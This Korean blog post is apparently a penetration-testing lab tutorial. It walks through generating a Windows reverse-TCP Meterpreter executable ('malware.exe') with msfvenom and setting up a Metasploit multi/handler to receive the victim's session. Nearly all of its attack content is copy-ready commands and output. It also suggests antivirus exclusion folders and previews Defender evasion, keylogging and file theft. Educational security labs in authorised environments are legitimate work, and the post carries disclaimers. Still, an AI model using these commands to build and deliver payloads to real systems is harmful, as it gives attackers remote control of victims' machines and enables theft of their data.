[모의해킹] msfvenom을 활용한 악성코드 생성 및 메타스플로잇 연동 실습
이번 글에서는 메타스플로잇의 msfvenom 모듈을 활용하여 Windows용 악성코드를 제작하고, 메타스플로잇 콘솔(msfconsole)에서 해당 악성코드와 통신을 연결하는 실습을 진행하였다. 이 과정은 모의해킹 중 페이로드를 제작하고 수신 환경을 구성한다.
1. msfvenom이란?
msfvenom은 메타스플로잇에서 제공하는 페이로드 생성 도구로, 다양한 플랫폼용 악성코드를 쉽게 생성할 수 있도록 도와준다.
페이로드(payload)는 악성코드에서 가장 핵심이 되는 부분으로, 공격자가 원하는 동작을 수행하는 역할을 한다.
2. 실습
2-1) 악성코드 생성 스크립트 작성하기
touch malware_maker
gedit malware_maker
# gedit은 설치하면 사용할 수 있다.
# nano나 vi를 사용해도 된다.
malware_maker 스크립트 내용
msfvenom -p windows/meterpreter/reverse_tcp lhost=[공격자 kali-linux IP 주소] lport=[포트번호] -f exe -o malware.exe
- -p : 사용할 페이로드 지정 (여기서는, reverse_tcp 방식의 meterpreter 사용했다.)
- lhost : 공격자 kali-linux의 IP 주소 (kali-linux 기준으로는 ifconfig로 확인이 가능하다.)
- lport : 공격자가 대기할 포트번호 (well-known 포트번호를 제외하고 사용하는 것을 권장한다.(1024 이상))
- -f exe : Windows 실행파일 형식으로 생성
- -o malware.exe : 출력 파일명
malware_maker 권한 부여, 실행하기
chmod +x malware_maker
./malware_maker
- chmod +x malware_maker : malware_maker에 실행권한을 부여해 주었다.
- ./malware_maker : 현재 위치에 있는 malware_maker 실행
실행 결과
Payload size : 354 bytes
Final size of exe file : 73802 bytes
Saves as : malware.exe
2-2) msfconsole을 활용한 수신 대기 환경 구축하기
malware.exe를 실행하더라도 아무런 반응이 없으면 이건 연결을 수신할 핸들러가 준비되지 않았기 때문이다.
이를 위해서 Metasploit Framework를 실행한다.
msfconsole
핸들러 설정하기
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost [공격자 kali-linux IP 주소]
set lport [대기할 포트번호]
exploit -j
- exploit/multi/handler : 수신용 핸들러 모듈
- set payload : 악성코드에서 사용한 페이로드랑 일치해야 한다.
- exploit -j : 백그라운드에서 대기 시작
이제 공격자는 대기 상태에 들어가 있고, 피해자가 malware.exe 파일을 실행하면 session이 연결된다.
3. 실습 시 주의사항
- Windows 시스템에서 실습 시, malware.exe 파일이 Windows Defender 등 백신 프로그램에 의해 자동 삭제될 수 있다. 이를 방지하기 위해 예외 폴더를 설정하거나 VMware 환경에서 테스트를 권장한다.
- 사용된 포트는 well-known 포트가 아니라서 비교적 안전하지만, 보안상 반드시 방화벽이나 네트워크 설정을 검토해야 한다.
- 생성한 악성코드는 교육이나 테스트 목적으로만 사용해야하며, 실제 시스템에 무단으로 배포하거나 실행하는 행위는 불법이다.
4. 실습을 통해 배운 점
- msfvenom을 통해 간단하게 악성코드를 생성할 수 있고, 해당 코드는 msfconsole의 handler랑 연결해서 실제 session을 획득할 수 있다.
- payload의 종류 및 설정값이 공격 흐름에 있어서 얼마나 중요한지 체감할 수 있었다.
- 추후 실습에서는 백신 프로그램이나 Windows Defender를 우회하는 악성코드를 제작해 볼 것이다.
5. 다음 실습 예고
이번 글에서는 msfvenom을 활용해 윈도우용 악성코드를 제작하고, 통신 연결 준비하는 과정까지 해보았다.
다음 글에서는 이렇게 생성된 악성코드를 실행한 뒤, Metasploit sessions을 통해 피해자의 시스템을 조작하는 고급 기능들을 직접 실습해 볼 것이다. 키로깅, 스크린샷 캡쳐, 파일 다운로드, 화면 공유 등을 통해 실제 공격 시나리오와 유사한 경험을 해볼 것이다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.